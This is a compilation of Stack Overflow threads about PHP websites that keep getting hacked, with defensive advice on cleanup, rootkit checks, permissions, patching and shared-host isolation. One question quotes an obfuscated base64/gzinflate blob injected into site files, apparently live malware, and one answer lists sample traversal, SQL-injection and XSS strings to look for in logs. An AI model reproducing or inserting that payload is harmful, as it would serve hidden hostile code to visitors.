Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 9 years ago.
Improve this question
I had finally managed to get a very successful business running, however I have been constantly attacked. The attacker was getting shell access to parts of the site and managed to create/edit my PHP files to send update queries to my database.
I had help from sitelock to secure the site and I even paid them extra to carefully go through code and make sure there are no vulnerabilities. The attacker managed to succeed again, and brought me entire business down.
Now here is what I need: The users need to be able to view the database, and I also have a cron job to update the users "balances" every 20 minutes. Sometimes I need to administrate the site, which means adding new information to the database.
Then I had a great idea (I thought), but sitelock didn't think it was smart:
The main database would be set to VIEWING only. There would be no password available anywhere on the main site that would allow UPDATE or INSERT queries to be sent.
Meanwhile, I would have a secret site on another server from which I do the updates from. I would run my PHP script (with my cron job) to remotely access the MAIN database with a more priviledged database user.
Sitelock claims that accessing the database remotely could cause even more risks, but I don't see how it would. Assuming that my secret site doesn't get hacked as well, I don't see why this would be so dangerous. Can someone explain why it would be?
Due to lacking of vital information, it is quite hard to provide an answer. Nevertheless, I'll give it a try.
Being unter attack is normal.
Let me note, that most websites are unter attack all the time. Since you can't disable attacks, you need to protect your system ad your WebApp. It's important
to keep the operating system and its configuration current
write code, that doesn't expose attackable points
probably install protective system components.
But let me explain, what you might wish to do:
First of all, disable your site and collect evidence related data!
Disable your site, in a fundamental way:
Cut the internet connection.
At least disable each and any script [less good].
Don't just disable the index.php script! Intruder does know other vulnerable points of your WebApp! Use .htaccess to disable each script in each folder!
Then, backup the server's state to your local machine. Vital technical artifacts are in these classes of files:
Your PHP scripts.
The databases / table of your database server.
The server's log files.
The server's configuration files [notably /etc].
In case enough bandwidth is available, backup the whole server to your local machine!
For sure, run the backup through ssh only!
Next, figure out, how intruder managed to access
your site. Intruder might have obtained access at the operating system level [e.g. telnet] or at the web application level.
Your intruder may have changed not only your web-application, but as well other parts of your server's software or system configuration.
While you focus on the front-end, the actual problem might be at another location.
Check your system for root kits.
A root kit scanner like RootKit Hunter might be helpful. The article 'How to scan Linux for rootkits with rkhunter' might provide some help.
Note, in case you set up a new system, a permanent installation of a root kit hunting tool would be useful anyway.
General rule of thumb: Security by obscurity is worthless.
If you use a secret site to perform certain task, intruder may identify the remote too - and probably break into that site - in case the remote site or it's access part to the main site, might have the previous vulnerability too.
Enhance the security level of your site.
Disable each and any service, that isn't permanently required.
Add and enable Apache's mod_security module to automatically reject certain potentially dangerous request.
Enable PHP's safe_mode in case you run PHP prior of release 5.3.0. This PHP option disables certain dangerous features.
Follow the guidelines described in OWASP's PHP security Cheat Sheet
Access your operating system's shell using ssh. No other way is secure!
Protect your site against man in the middle attacks using https.
Protect user sessions using https.
If your site uses http [not https], an attacker might grab the session ID of a legal user of the site. If attacker own the ID, attacker has all those right, that the legal user has.
Don't forget, that grabbing session IDs is simple, if legal user uses
an insecure [public] WiFi network
a non-switched Ethernet
a compromised PC
A virus/trojaner infiltrated system might grab each and any information that legal user exchanges. Thus, most technical measures might fail.
Don't believe, that automated security checks do find each and any security problem.
While SiteLock might find certain classes of problems of web-applications, certain others are far beyond the scope of any automated security check. Automated security checks are incomplete by nature.
Your need specialists for each technical domain.
To protect your site, you need an operating system / admin specialist and a PHP specialist.
Related
My internet website keeps on being infected with the following code. I keep removing it, after some day maybe it is there again. Help please.
#d93065#
echo(gzinflate(base64_decode("tVXbjptADP2VNi+BRmmZgbkglr70E/qIeIgTyLLahhRQ0CrKv9c2QzbZknRVaZWLPB7P8bF9Bh7adVPtu+9VGiRd83LcN3VXdy/7IjmtV9360Su2Rb9tN/6xTLP5MpRAPx2BFrCMYSlAxWACUBaMBm1BB6DRo0CBlrRCU6Lb8M7FvolAKrABRCEoTcGhYYNjEHgpQRnGjikMl2giHiiyLDJB3JHRKysTvqKgjUABCHsVbCPiTkwM0aB08RTg7dKMJWxMiCvH1oCIJyggMqYgjwXJVeiQy8evAIFtwQ/WaQc2hiH4vKJThrct8SCT01sQzEEwFDeKslg6qjgC/UMuPOi20UX8I54KM3gbYbiagQeGDtsDIWpSRCzpvHF1YyTRD11aFbsGYbORFBGOxg5FtKQtnrDirpuhYO1aKM4aEeTBSMNIipHE2YGcpOBWTzRb8hwm532xpEPcS2Wv2C3jOxKakIfhaiggdtdB8rxvy0YNsgn4HJc9eTUG8U9oSQ61oVs54dIco1FPoZvSuakD0Fl/aIcfpcArYpc6Uv/Q0PlSvJEROm8j3tDXgHVLYvcQL7XnlH+fwajL6eD3Tub6zo7zcXfyf2b99zWfAn3/g+4Dn+GKb4FgFTEgxkjtlIC5FL9e9OTze55nQf613T9XnTeHuZ8c0lkxW8wOK/x7niWnqvQOfpH21W5T99kh55fbrug/CanGV9vvfusf+7RM2jTLk1OT/uyaardNyrrxEqXN57RKqkUq/OMTWaVX+G3aLppsVmKWBn/1rx/4/7gim6x6U8xyr8+e8i9iEQmfeRR+4bV+8vDNvWr/AA==")));
#/d93065#
Edit: Is there any way to find out how did the code come if it ever happens again. Could it be from the provider or what?
I also have to say that all my accounts are infected not only one.
My suggestion would be that your FTP account has been compromised. Change your FTP password and don't store it anywhere, clean your web and wait if it helps. If you store your FTP password in your computer, double-check it for viruses/malware. It may happen that some malware grabs your FTP password stored e.g. in Total Commander's list of FTP accounts.
Review your php code. There might be some vulnerability in it somewhere that allows an attacker to modify your files. Or your web server could be vulnerable.
The reason why it is coming back is because someone (or a bot/script) is doing it repeatedly and you've not secured all the parts that run your application i.e. server + code.
Like #pomeh suggests, monitor your server logs to see which files are being accessed to see how it is happening.
Your site is probably open for attacks. And since you don't fix the open "holes" the attacker can inject the code again, and again.
I would start by checking server logs and ftp logs, that should give you a hint where is the problem. My guess would be that your site got compromised and user left a simple php shell behind for further access, which is the scenario for most of the cases. This can be uncovered just by looking at logs; this might be a little timely, and require a person at least little experienced in what to look for (things like traversal inclusion attempts - ../, sql injection attempts - and 1=1, xss - <script>alert, those are just the most basic of examples).
If however there was more serious intrusion, it will be more difficult to uncover as the person would be able to cover his tracks by getting rid of logs, so I'd probably also check for rootkits just to be safe.
Also it depends whether you are on shared host, in which case messed up server permissions can result in your website being vulnerable as a result of another website being compromised. A lot of websites get attacked this way, majority of small and middle sized hosting providers don't provide enough security in this area, essentially rendering your website only as secure as the least secure website hosted on the server.
As said in other answers, if you use open source solution check via google or for example at http://www.exploit-db.com/ if there had been any exploits released lately. Lastly you might want to check the server and what services it is running.
I have been asked to fix a hacked site that was built using osCommerce on a production server.
The site has always existed on the remote host. There is no offline clean version. Let's forget how stupid this is for a moment and deal with what it is.
It has been hacked multiple times and another person fixed it by removing the web shell files/upload scripts.
It is continually hacked often.
What can I do?
Because you cannot trust anything on the web host (it might have had a rootkit installed), the safest approach is to rebuild a new web server from scratch; don't forget to update all the external-facing software before bringing it online. Do all the updating on the happy side of a draconian firewall.
When you rebuild the system, be sure to pay special attention to proper configuration. If the web content is owned by a different Unix user than the web server's userid and the permissions on the files are set to forbid writing, then the web server cannot modify the program files.
Configure your web server's Unix user account so it has write access to only its log files and database sockets, if they are in the filesystem. A hacked web server could still serve hacked pages to clients, but a restart would 'undo' the 'live hack'. Of course, your database contents could be sent to the Yakuza or corrupted by people who think your data should include pictures of unicorns. The Principle of Least Privilege will be a good guideline -- what, exactly, does your web server need to access in order to do its job? Grant only that.
Also consider deploying a mandatory access control system such as AppArmor, SELinux, TOMOYO, or SMACK. Any of these systems, properly configured, can control the scope of what can be damaged or leaked when a system is hacked. (I've worked on AppArmor for ten years, and I'm confident most system administrators can learn how to deploy a workable security policy on their systems in a day or two of study. No tool is applicable to all situations, so be sure to read about all of your choices.)
The second time around, be sure to keep your configuration managed through tools such as as puppet, chef, or at the very least in a revision control system.
Update
Something else, a little unrelated to coming back online, but potentially educational all the same: save the hard drive from the compromised system, so you can mount it and inspect its contents from another system. Maybe there's something that can be learned by doing forensics on the compromised data: you might find that the compromise happened months earlier and had been stealing passwords or ssh keys. You might find a rootkit or further exploit tools. You might find information to show the source of the attack -- perhaps the admin of that site doesn't yet realize they've been hacked.
Be careful when inspecting hacked data -- that .jpg you don't recognize might very well be the exploit that cracked the system in the first place, and viewing it on a 'known good' system might crack it, too. Do the work with a hard drive you can format when you're done. (Virtualized or with a mandatory access control system might be sufficient to confine "passive" data-based hacks, but there's nothing quite like throwaway systems for peace of mind.)
Obtain a fresh copy of the osCommerce version the site was built with, and do a diff between the new fresh osCommerce and the hacked site. Also check for files which exist on the server but not in the osCommerce package.
By manually comparing the differences, you can track down all possible places the hack may have created or modified scripts.
I know this is a little late in the day to be offering this solution but the official fix from osCommerce developement is here:
http://library.oscommerce.com/confluence/display/OSCOM23/(A)+(SEC)+Administration+Tool+Log-In+Update
Once those code changes are applied then most of the actual work is in cleaning up the website. The admin login bypass exploit will be the cause that has allowed attackers to upload files via the file manager (usually) into directories that are writable, often the images directory.
There are other files that are often writable too which can have malicious code appended in them. cookie_usage.php and includes/languages/english/cookie_usage.php are the usual files that are affected, however on some server configurations, all site files can be susceptible.
Even though the official osCommerce fix is linked to above, I would also suggest to make this change as well: In the page above, scroll down till you see the link that says "Update PHP_SELF Value". Make those changes as well.
This will correct the way $PHP_SELF reports and prevent attackers from using malformed URLs in attempts to bypass the admin login.
I also suggest that you add htaccess basic authentication login to the admin directory.
Also check out an addon I authored called osC_Sec which is an all in one security fix, which while works on most php backed websystems, it is specifically designed to deal to the issues that exist in the older versions of osCommerce.
http://addons.oscommerce.com/info/8283
I have shared hosting, and within my own user space I run three different .com domains. One serves as the actual hosting plan master domain, and the other are subs via URL redirects and domain pointing.
One of those subs is a Wordpress blog, and I'm concerned about the ability of an attacker to use security holes in Wordpress to access the other sites under my virtual umbrella. If the blog itself gets trashed, I'm not going to lose any sleep over it. But if the other sites get nailed I'll be a pretty sad panda.
What sort of server permissions and such can I use to isolate that blog? It's entirely contained within its own sub-directory.
More details can be provided if needed, I'm new at this and may have left out some key info.
Thank you.
This is a valid concern. If not properly separated a vulnerability in one site will affect all of them.
1) The first thing you need to do is to use suPHP, which forces an application to be run with the rights of a specific user. This user account should not have shell access (/bin/false).
2) All three application directories need to be chown user -R /home/user/www/ and chmod 500 -R /home/user/www/ The last two zeros in the chmod means that no other accounts have access to the files. This only provides read and execute rights, it is ideal if write privileges are disallowed for the entire web root.
3) All three applications must have a separate MySQL database and separate MySQL user accounts. This user account should only have access to its own database. This account should not have GRANT or FILE privileges. Where the FILE privilege isby far the most dangerous privilege you can give to a MySQL user account because it is used to upload backdoors and read files. This protects against sql injection in one site allowing the attacker to read data for all sites.
After these three steps are taken if 1 site where to be hacked the other 2 will be untouched. You should run a vulnerability scanner such as Sitewatch (Commercial but there is a free version) or Skipfish (Open Source). After scanning the application then run phpsecinfo and modify your php.ini file to remove as much Red and Yellow as possible. Modifying your php.init can fool vulnerability scanners, but often times the flaw still exists to make sure you patch your code and keep everything up to date.
Depends on the hole attacker finds. If you use the same user/pass for all your databases, including the WP db, then that might be a problem. Of course, file permissions are an issue... anything available to be accessed by the web server can be read, and often written to.
There are a lot of security issues at play here, but if you use ftps, ssh and update WP when they release a security fix, then you lower your chances of problems. The most secure computer is encased in cement and sunk in the Mariana Trench. But it isn't very useful. You are looking for a balance.
Chmod files 755 and know chmod settings to stay updated about classic problem: hacker getting a shell via uri query string due to a bug in perl, php or what scripting language used. Having a secure ISP like secureserver.net should live up to its name, staying aware of specific bugs in language implementation and choosing most secure available instead of most performance and reading insecure.org is what I do running all experimental and development stuff with secureserver.net doable with no security issue reported.
I own a website running on LAMP - Linux, Apache, mySQL and PHP. In the past 2-3 weeks the PHP and jQuery files on my website have become infected from malware from a site called gumblar.cn
I can't understand how does this malware get into my PHP files and how do I prevent it from happening again and again.
Any ideas?
UPDATE:
Looks like it is a cpanel exploit
Your site is cracked, so the crackers simply replace your files.
You should always upgrade your Linux OS, Apache, MySQL, PHP, and the web PHP programs whenever a security alert is announced.
Linux servers running open services without upgrading them regularly are the most vulnerable boxes on internet.
No one here can provide a conclusive solution based on the information you provided, so all we can suggest is that you follow good security practices and standards and correct any weak points immediately.
Make sure your software is up-to-date. It's very possible to gain access to local files through exploits in PHP programs, so keep any third-party applications you're running on their latest versions (especially very widespread programs like Wordpress and phpBB), and do whatever you can to ensure that your server is running the correct versions of its services (PHP, Apache, etc.).
Use strong passwords. A strong password is a long, random list of characters. It should have nothing to do with your life, it should have no readily available acronyms or mnemonics, it should not resemble a dictionary word, and it should contain a healthy interspersing of different characters; numbers, letters of different cases, and symbols. It should also be reasonably long, ideally more than 26 characters. This should help keep people from bruteforcing your credentials for enough time for competent sysadmins to take action against the attackers.
Work with the administrators at your hosting provider to understand what happened in this particular case and do things to correct it. They may not have noticed anything unusual; for instance, if you have an easy password, or if this attack was perpetrated by a trusted individual, or if you have an unpatched exploit in a custom PHP application, there would be nothing to indicate an improper use.
Shared hosts also have many people with access to the same local machine, so things like file permissions and patching of locally-accessible exploits both within your application and generally is very important. Make sure your host has good policies on this and make sure that none of your software unequivocally trusts local connections or users.
The nature of the attack (an import of malware from a site that appears to do this kind of thing en masse) suggests that you were running an exploitable application or that your username/password combination was not sufficiently strong, but the administrators at your provider are really the only ones able to supply accurate details on how this happened. Good luck. :)
Chances are, there is an application on your server with a known vulnerability that has been attacked, and something has modified files on your web site or installed a new file.
When searching for information on gumblar.cn, it looks like they use a trojan called JS-Redirector-H. Not sure if this is what is involved here.
Fixing this may involve restoring your web site from backup, if you have no way of knowing what has been modified. If you have source control or a recent version, you may be able to do a whole-site diff. But you will also need to fix the security vulnerability that allowed this to happen in the first place.
Chances are it's some insecure app, or an app you installed some time ago but have not updated recently. A few people who have complained about this mentioned that they use Gallery (ie PHP Gallery). Though I'm not sure if that's connected.
If you are not the server administrator, talk to the server admin. They may be able to help, and it would be wise to let them know about this.
Google Advisory:
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?client=Firefox&hl=en-US&site=http://gumblar.cn (linking doesn't work)
First, contact your hosting company and report this. If this is server-wide, they need to know about it.
The most common cause of infections like this is vulnerable popular PHP software (such as PHPBB, Mamboserver and other popular systems). If you're running any 3rd party PHP code, make sure you have the latest version.
If you've determined that this only affects your site, restore from a backup. If you don't have any backups, try re-installing everything (you can probably migrate the database) you have (to the latest version) and go through your own PHP code (if any).
PHP Programs are actually simple text files that run on the server by the PHP interpreter. if your application is infected, then I think there are tow posiibilities:
1.they have used some security hole in YOUR application to inject some code into your server, so now they have changed some of your PHP files, or some of your database information.
if this is the case, you better double check every single place where you are fetching information from the user (text inputs, file uploads, cookie values, ...), make sure everything is well filtered. this is very common security practice to filter anything that comes from the user. you also better make sure that the data that is currently saved in your database (or file system) is clean. I suggest using Zend_Filter component of the Zend Framework to filter user input. there are many full featured filter libraries out there.
2.they could have run some program on your server, that is affecting your PHP source files. so somehow they have accomplished running some program/script your server, that is changing your application.
if this is the case, I suggest your check all your server processes and make sure you know every process that is running. although I think this is less possible.
Ok, this is NOT a programming question and SO is not the place for this because if we would tolerate such questions here we would soon be a first aid / support site for ppl with bad shared hosting accounts.
I only didn't vote for closing because I feel bad turning a few ppl down who are probably feeling really bad about a problem they don't have the knowledge to fix.
First of all: google for gumblar.cn, there is a growing number of potentialy helpful posts accumulating as we speak.
If you're a real beginner and you feel you don't get any of the things in the answers here then just do the following:
Get a new host
Google for information about all your software until you know, if the software is safe. If it's not, don't use it, until the developers have fixed the problem. An example of a not secure software is 'Galery'.
Install all your software (the secure ones only) FRESH INSTALL!!
Copy over static files (like images) to the new server. Do NOT copy over any dynamic files, like php scripts, as they could be infected.
Don't upload any of your own PHP scripts until you've checked them for security vulnerabilities. If you don't know how to do this, don't upload anything before you've learned about these things.
I have been affected by this virus/malware and currently cleaning up. I hope this will be helpful:
1) You most likely have a TROJAN on your PC. To verify this simply run (Start > Run... or Windows key + R) and type "cmd" or "regedit". If either of those doesnt open its window as expected, you have the Js:Redirector trojan. You can also verify that the anti virus programs aVast and Malware Bytes can not connect to updates for some reason (sneaky trojan that is). Plus, you'll notice that the Security program of the Control Panel was disabled, you wouldn't have seen a notification in the tray icons to tell you that the virus protection was disabled.
2) This is a very recent exploit, apparently of vulnerabilities inflash or pdf plugins, thus you are not safe even if you didn't use Internet Explorer!
As for me, I believe because I hate programs slowing down my PC, I have my Windows Updates on "manual", and I didn't have resident protection (scanning of all web connections, etc), and I was probably infected by visiting another hacked site which was not blacklisted yet. Also I was over confident in non-IE browsers! I sometimes ignore the blacklist warning as I am curious about what the scripts do etc, and forgot once again just how BAD Windows really is. Conclusion: leave Windows Updates on automatic, have minimal resident protection (aVast Web Shield + Network Shield).
3) Because this is a trojan that sends back your FTP password, it doesn't matter how good your password was!
4) Try to lceanup your PC with Malware or aVast, it will find a file ending with ".ctv"
You MUST have a virus database dated 14 May or more recent. If you can't update (as explained above), then follow these instructions (you'll need to extrapolate but basically you have a file, the name may vary, which is pointed in the registry, and use HiJackThis to remove it, once you rebout without this file excuted, all is fine)
5) Of course update your passwords, BUT make sure the trojan is removed first!
6) For an exact list of all pages modified try to get a FTP log and you'll find the IP of the script/hacker and all touched files.
7) If you have a complete local copy of the "production" environment, then the safest is to delete ALL the site on the server, and re-upload all files.
8) During the clean up process DONT visit your infected site, or you will re-install the trojan! If you have the latest aVast Home Edition and the "Web Shield" protection it will give you a warning and block the page from being executed by your browser.
like Francis mentioned, try to get your hosting company to make sure their software is up to date.
On your side, change your ftp password to something completely obscure as soon as possible. I've seen this happen to people before. What these 'hackers' do is a brute force on your ftp account, download a couple of files, modify them slightly, and then re-upload the infected copies. If you have access to the ftp log files you'll probably see a connection to your account from an IP other than yours. You may be able to submit this to your hosting company and ask them to black-list that IP from accessing their servers.
That website (gumblar.cn that you mentioned) is being tested for malware. You can monitor results here: http://www.siteadvisor.com/sites/gumblar.cn/postid?p=1659540
I had something like this happen to me at an old hosting provider. Somehow, someone, was able to infect Apache in some way so that a special header was injected into all my PHP files which caused the browser to try to download and run in the browser. While they got it fixed, the quick solution was to take down all my PHP files, and change my index file a plain HTML file. Whether or not this stops the problem for you depends on how the server is infected. The best thing and probably most responsible thing you can do is to protect your visitors by taking down site, and if possible (if text files aren't infected), display a message stating that if they visited recently they may have been infected.
Needless to say, I switched hosting providers quick soon after my site was infected. My hosting provider was pretty bad in a lot of other ways, but this was pretty much the final straw.
I wrote a PHP web-application using SQLite and sessions stored on filesystem.
This is functionally fine and attractively low maintenance. But, now it needs to run on a shared host.
All web-applications on the shared host run as the same user, so my users' session data is vulnerable, as is the database, code, etc.
Many recommend storing sessions in DBMS such as MySQL in this situation. So at first I thought I will just do that, and move the SQLite data into MySQL too. But then I realized the MySQL credentials need to be readable by the web application user, so I'm back to square one.
I think the best solution is to use PHP as a CGI so it runs as different user for each web-application. This sounds great, but my host does not do this it uses mod_php. Are there any drawbacks from an admin's point-of-view for enabling this? (performance, backward compatibility, etc)? If not then I will ask them to enable this.
Otherwise, is there anything I can do to secure my database and session data in this situation?
As long as your code is running as the shared web user, anything stored on the server is going to be vulnerable. Any other user could write a PHP script to examine any readable file on the server, including your data and PHP code.
If your hosting provider will allow it, running as PHP as a CGI under a different user will help, but I expect there will be a significant performance hit, as each request will require a new process to be created. (You could look at FCGI as a better-performing alternative.)
The other approach would be to set a cookie based on something the user provides, and use that to encrypt session data. For instance, when the user logs in, take a hash of their username, password (as just supplied by them) and the current time, encrypt the session data with the hash, set a cookie containing the hash. On the next request, you'll get the cookie back, which you can then use to decrypt the session data. Note however that this will only protect the current session data; your user table, other data, and code will still be vulnerable.
In this situation, you need to decide whether the tradeoff of the low cost of shared hosting is acceptable considering the reduced security it provides. This will depend on your application, and it may be that rather than trying to come up with a complex (and possibly not even very effective) way to add security, you're better off just accepting the risk.
I don't view security as all or nothing. There are steps you can take. Give the web db user only the permissions it needs. Store passwords as hashes. Use openid login so users provide their credentials over SSL.
PHP on cgi can be slower and some hosts may simply not want to support more than one environment.
You may need to stick with your host for some reason, but generally there are so many available that it is a good reminder for people to compare functionality and security as well as cost. I have noticed many companies starting to offer virtual machine hosting -- nearly dedicated server level security in terms of isolating your code from other users -- at what is to me reasonable cost.
A shared host is no way to run a web site if you are conscious about privacy and security of your data from the sites that you share the server with. Anything accessible to your web application is fair game for the others; it'll only be a matter of time before they can access it (assuming they do have incentive to do that to you).
"you can place your DB connection variables in a file below the web root. this will at least protect it from web access. if you're going to use file based sessions as well, you can set the session path in your user's directory and again outside the web root."
I don't have an account so I can't downvote that.. but seriously it is not even relevant to the question.
Duh you store stuff outside the webroot. That goes for any hosting scenario and is not specific to shared hosting. We're not talking about protecting from outsiders here. We're talking about protecting from other applications on the same machine.
To the OP I think PHP as CGI is the most secure solution, as you already suggested yourself. But as someone else said there is a performance hit with this.
Something you might look at is moving your sessions and db to MySQL and using safe_mode and/or open_basedir.
I would solve the problem with a infrasturcture change instead of a code one.
Consider upgrading to a VPS server. Nowdays you can get them very inexpensive. I've seen VPS's starting # 10$/mo.